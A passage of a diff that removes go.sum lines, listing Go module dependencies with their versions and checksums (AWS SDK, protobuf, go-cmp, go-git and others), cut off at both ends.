v0.0.0-20200915174352-b0c018a67c13/go.mod h1:7kfpUbyCdGJ9fDRCp3fopPQi5+cKNHgTE4ZuNrO71Cw= -github.com/apparentlymart/go-versions v1.0.1 h1:ECIpSn0adcYNsBfSRwdDdz9fWlL+S/6EUd9+irwkBgU= -github.com/apparentlymart/go-versions v1.0.1/go.mod h1:YF5j7IQtrOAOnsGkniupEA5bfCjzd7i14yu0shZavyM= -github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= -github.com/armon/circbuf v0.0.0-20190214190532-5111143e8da2 h1:7Ip0wMmLHLRJdrloDxZfhMm0xrLXZS8+COSu2bXmEQs= -github.com/armon/circbuf v0.0.0-20190214190532-5111143e8da2/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= -github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da h1:8GUt8eRujhVEGZFFEjBj46YV4rDjvGrNxb0KMWYkL2I= -github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= -github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/armon/go-radix v1.0.0 h1:F4z6KzEeeQIMeLFa97iZU6vupzoecKdU5TX24SNppXI= -github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= -github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY= -github.com/aws/aws-sdk-go v1.15.78/go.mod h1:E3/ieXAlvM0XWO57iftYVDLLvQ824smPP3ATZkfNZeM= -github.com/aws/aws-sdk-go v1.25.3/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo= -github.com/aws/aws-sdk-go v1.31.9/go.mod h1:5zCpMtNQVjRREroY7sYe8lOMRSxkhG6MZveU8YkpAk0= -github.com/aws/aws-sdk-go v1.42.35 h1:N4N9buNs4YlosI9N0+WYrq8cIZwdgv34yRbxzZlTvFs= -github.com/aws/aws-sdk-go v1.42.35/go.mod h1:OGr6lGMAKGlG9CVrYnWYDKIyb829c6EVBRjxqjmPepc= -github.com/baiyubin/aliyun-sts-go-sdk v0.0.0-20180326062324-cfa1a18b161f h1:ZNv7On9kyUzm7fvRZumSyy/IUiSC7AzL0I1jKKtwooA= -github.com/baiyubin/aliyun-sts-go-sdk v0.0.0-20180326062324-cfa1a18b161f/go.mod h1:AuiFmCCPBSrqvVMvuqFuk0qogytodnVFVSN5CeJB8Gc= -github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= -github.com/beorn7/perks v1.0.0 h1:HWo1m869IqiPhD389kmkxeTalrjNbbJTC8LXupb+sl0= -github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= -github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d h1:xDfNPAt8lFiC1UJrqV3uuy861HCTo708pDMbjHHdCas= -github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d/go.mod h1:6QX/PXZ00z/TKoufEY6K/a0k6AhaJrQKdFe6OfVXsa4= -github.com/bgentry/speakeasy v0.1.0 h1:ByYyxL9InA1OWqxJqqp2A5pYHUrCiAL6K3J+LKSsQkY= -github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= -github.com/bmatcuk/doublestar v1.1.5 h1:2bNwBOmhyFEFcoB3tGvTD5xanq+4kyOZlB8wFYbMjkk= -github.com/bmatcuk/doublestar v1.1.5/go.mod h1:wiQtGV+rzVYxB7WIlirSN++5HPtPlXEo9MEoZQC/PmE= -github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= -github.com/cheggaaa/pb v1.0.27/go.mod h1:pQciLPpbU0oxA0h+VJYYLxO+XeDQb5pZijXscXHm81s= -github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE= -github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= -github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e h1:fY5BOSpyZCqRo5OhCuC+XN+r/bBCmeuuJtjz+bCNIf8= -github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= -github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWsoZXJNW3xEE4JJyHa5Q25/sd8= -github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= -github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= -github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= -github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= -github.com/cockroachdb/datadriven v0.0.0-20190809214429-80d97fb3cbaa h1:OaNxuTZr7kxeODyLWsRMC+OD03aFUH+mW6r2d+MWa5Y= -github.com/cockroachdb/datadriven v0.0.0-20190809214429-80d97fb3cbaa/go.mod h1:zn76sxSg3SzpJ0PPJaLDCu+Bu0Lg3sKTORVIj19EIF8= -github.com/coreos/go-semver v0.2.0 h1:3Jm3tLmsgAYcjC+4Up7hJrFBPr+n7rAqYeSw/SZazuY= -github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= -github.com/coreos/go-systemd v0.0.0-20180511133405-39ca1b05acc7/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= -github.com/coreos/go-systemd v0.0.0-20181012123002-c6f51f82210d h1:t5Wuyh53qYyg9eqn4BbnlIT+vmhyww0TatL+zT3uWgI= -github.com/coreos/go-systemd v0.0.0-20181012123002-c6f51f82210d/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= -github.com/coreos/pkg v0.0.0-20160727233714-3ac0863d7acf/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= -github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f h1:lBNOc5arjvs8E5mO2tbpBpLoyyu8B6e44T7hJy6potg= -github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= -github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= -github.com/creack/pty v1.1.11/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= -github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/dimchansky/utfbom v1.1.0/go.mod h1:rO41eb7gLfo8SF1jd9F8HplJm1Fewwi4mQvIirEdv+8= -github.com/dimchansky/utfbom v1.1.1 h1:vV6w1AhK4VMnhBno/TPVCoK9U/LP0PkLCS9tbxHdi/U= -github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/j0mACtrfE= -github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815/go.mod h1:WwZ+bS3ebgob9U8Nd0kOddGdZWjyMGR8Wziv+TBNwSE= -github.com/dustin/go-humanize v0.0.0-20171111073723-bb3d318650d4 h1:qk/FSDDxo05wdJH28W+p5yivv7LuLYLRXPPD8KQCtZs= -github.com/dustin/go-humanize v0.0.0-20171111073723-bb3d318650d4/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= -github.com/dylanmei/iso8601 v0.1.0 h1:812NGQDBcqquTfH5Yeo7lwR0nzx/cKdsmf3qMjPURUI= -github.com/dylanmei/iso8601 v0.1.0/go.mod h1:w9KhXSgIyROl1DefbMYIE7UVSIvELTbMrCfx+QkYnoQ= -github.com/dylanmei/winrmtest v0.0.0-20190225150635-99b7fe2fddf1 h1:r1oACdS2XYiAWcfF8BJXkoU8l1J71KehGR+d99yWEDA= -github.com/dylanmei/winrmtest v0.0.0-20190225150635-99b7fe2fddf1/go.mod h1:lcy9/2gH1jn/VCLouHA6tOEwLoNVd4GW6zhuKLmHC2Y= -github.com/elazarl/goproxy v0.0.0-20180725130230-947c36da3153/go.mod h1:/Zj4wYkgs4iZTTu3o/KG3Itv/qCCa8VVMlb3i9OVuzc= -github.com/emicklei/go-restful v0.0.0-20170410110728-ff4f55a20633/go.mod h1:otzb+WCGbkyDHkqmQmT5YD2WR4BBwUdeQoFo8l/7tVs= -github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o= -github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= -github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= -github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= -github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= -github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= -github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= -github.com/evanphx/json-patch v4.9.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk= -github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= -github.com/fatih/color v1.9.0 h1:8xPHl4/q1VyqGIPif1F+1V3Y3lSmrq01EabUW3CoW5s= -github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= -github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc= -github.com/form3tech-oss/jwt-go v3.2.2+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k= -github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= -github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= -github.com/gliderlabs/ssh v0.2.2/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0= -github.com/go-git/gcfg v1.5.0/go.mod h1:5m20vg6GwYabIxaOonVkTdrILxQMpEShl1xiMF4ua+E= -github.com/go-git/go-billy/v5 v5.2.0/go.mod h1:pmpqyWchKfYfrkb/UVH4otLvyi/5gJlGI4Hb3ZqZ3W0= -github.com/go-git/go-billy/v5 v5.3.1/go.mod h1:pmpqyWchKfYfrkb/UVH4otLvyi/5gJlGI4Hb3ZqZ3W0= -github.com/go-git/go-git-fixtures/v4 v4.2.1/go.mod h1:K8zd3kDUAykwTdDCr+I0per6Y6vMiRR/nnVTBtavnB0= -github.com/go-git/go-git/v5 v5.4.2/go.mod h1:gQ1kArt6d+n+BGd+/B/I74HwRTLhth2+zti4ihgckDc= -github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= -github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= -github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= -github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= -github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= -github.com/go-logr/logr v0.1.0/go.mod h1:ixOQHD9gLJUVQQ2ZOR7zLEifBX6tGkNJF4QyIY7sIas= -github.com/go-logr/logr v0.4.0 h1:K7/B1jt6fIBQVd4Owv2MqGQClcgf0R266+7C/QjRcLc= -github.com/go-logr/logr v0.4.0/go.mod h1:z6/tIYblkpsD+a4lm/fGIIU9mZ+XfAiaFtq7xTgseGU= -github.com/go-openapi/jsonpointer v0.19.2/go.mod h1:3akKfEdA7DF1sugOqz1dVQHBcuDBPKZGEoHC/NkiQRg= -github.com/go-openapi/jsonpointer v0.19.3/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= -github.com/go-openapi/jsonreference v0.19.2/go.mod h1:jMjeRr2HHw6nAVajTXJ4eiUwohSTlpa0o73RUL1owJc= -github.com/go-openapi/jsonreference v0.19.3/go.mod h1:rjx6GuL8TTa9VaixXglHmQmIL98+wF9xc8zWvFonSJ8= -github.com/go-openapi/spec v0.19.3/go.mod h1:FpwSN1ksY1eteniUU7X0N/BgJ7a4WvBFVA8Lj9mJglo= -github.com/go-openapi/swag v0.19.2/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= -github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= -github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= -github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= -github.com/go-test/deep v1.0.1/go.mod h1:wGDj63lr65AM2AQyKZd/NYHGb0R+1RLqB8NKt3aSFNA= -github.com/go-test/deep v1.0.3 h1:ZrJSEWsXzPOxaZnFteGEfooLba+ju3FYIbOrS+rQd68= -github.com/go-test/deep v1.0.3/go.mod h1:wGDj63lr65AM2AQyKZd/NYHGb0R+1RLqB8NKt3aSFNA= -github.com/gofrs/uuid v3.2.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= -github.com/gofrs/uuid v3.3.0+incompatible h1:8K4tyRfvU1CYPgJsveYFQMhpFd/wXNM7iK6rR7UHz84= -github.com/gofrs/uuid v3.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= -github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= -github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= -github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= -github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= -github.com/golang-jwt/jwt v3.2.1+incompatible h1:73Z+4BJcrTC+KczS6WvTPvRGOp1WmfEP4Q1lOd9Z/+c= -github.com/golang-jwt/jwt v3.2.1+incompatible/go.mod h1:8pz2t5EyA70fFQQSrl6XZXzqecmYZeUEB8OUGHkxJ+I= -github.com/golang-jwt/jwt/v4 v4.0.0/go.mod h1:/xlHOz8bRuivTWchD4jCa+NbatV+wEUSzwAxVc6locg= -github.com/golang-jwt/jwt/v4 v4.1.0 h1:XUgk2Ex5veyVFVeLm0xhusUTQybEbexJXrvPNOKkSY0= -github.com/golang-jwt/jwt/v4 v4.1.0/go.mod h1:/xlHOz8bRuivTWchD4jCa+NbatV+wEUSzwAxVc6locg= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/groupcache v0.0.0-20160516000752-02826c3e7903/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e h1:1r7pUrabqp18hOBcwBwiTsbnFeTZHV9eER/QT5JVZxY= -github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= -github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= -github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= -github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= -github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= -github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= -github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= -github.com/golang/mock v1.6.0 h1:ErTB+efbowRARo13NNdxyJji2egdxLGQhRaY+DUumQc= -github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= -github.com/golang/protobuf v1.1.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= -github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= -github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= -github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= -github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= -github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= -github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= -github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= -github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= -github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= -github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= -github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= -github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= -github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/btree v1.0.0 h1:0udJVsspx3VBr5FwtLhQQtuAsVc79tTq0ocGIPAU6qo= -github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= -github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= -github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= -github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ= -github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck= -github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= -github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= -github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= -github.com/google/gofuzz v1.1.0 h1:Hsa8mG0dQ46ij8Sl2AYJDUv1oA9/d6Vk+3LG99Oe02g= -github.com/google/gofuzz v1.1.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= -github.com/google/martian v2.1.0+incompatible h1:/CP5g8u/VJHijgedC/Legn3BAbAaWPgecwXBIDzw5no= -github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= -github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= -github.com/google/martian/v3 v3.1.0 h1:wCKgOCHuUEVfsaQLpPSJb7VdYCdTVZQAuOdYm1yc/60= -github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= -github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= -github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= -github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= -github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs= -github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= -github.com/googleapis/gax-go/v2 v2.0.5 h1:sjZBwGj9Jlw33ImPtvFviGYvseOtDM7hkSKB7+Tv3SM= -github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= -github.com/googleapis/gnostic v0.4.1 h1:DLJCy1n/vrD4HPjOvYcT8aYQXpPIzoRZONaYwyycI+I= -github.com/googleapis/gnostic v0.4.1/go.mod h1:LRhVm6pbyptWbWbuZ38d1eyptfvIytN3ir6b65WBswg= -github.com/gophercloud/gophercloud 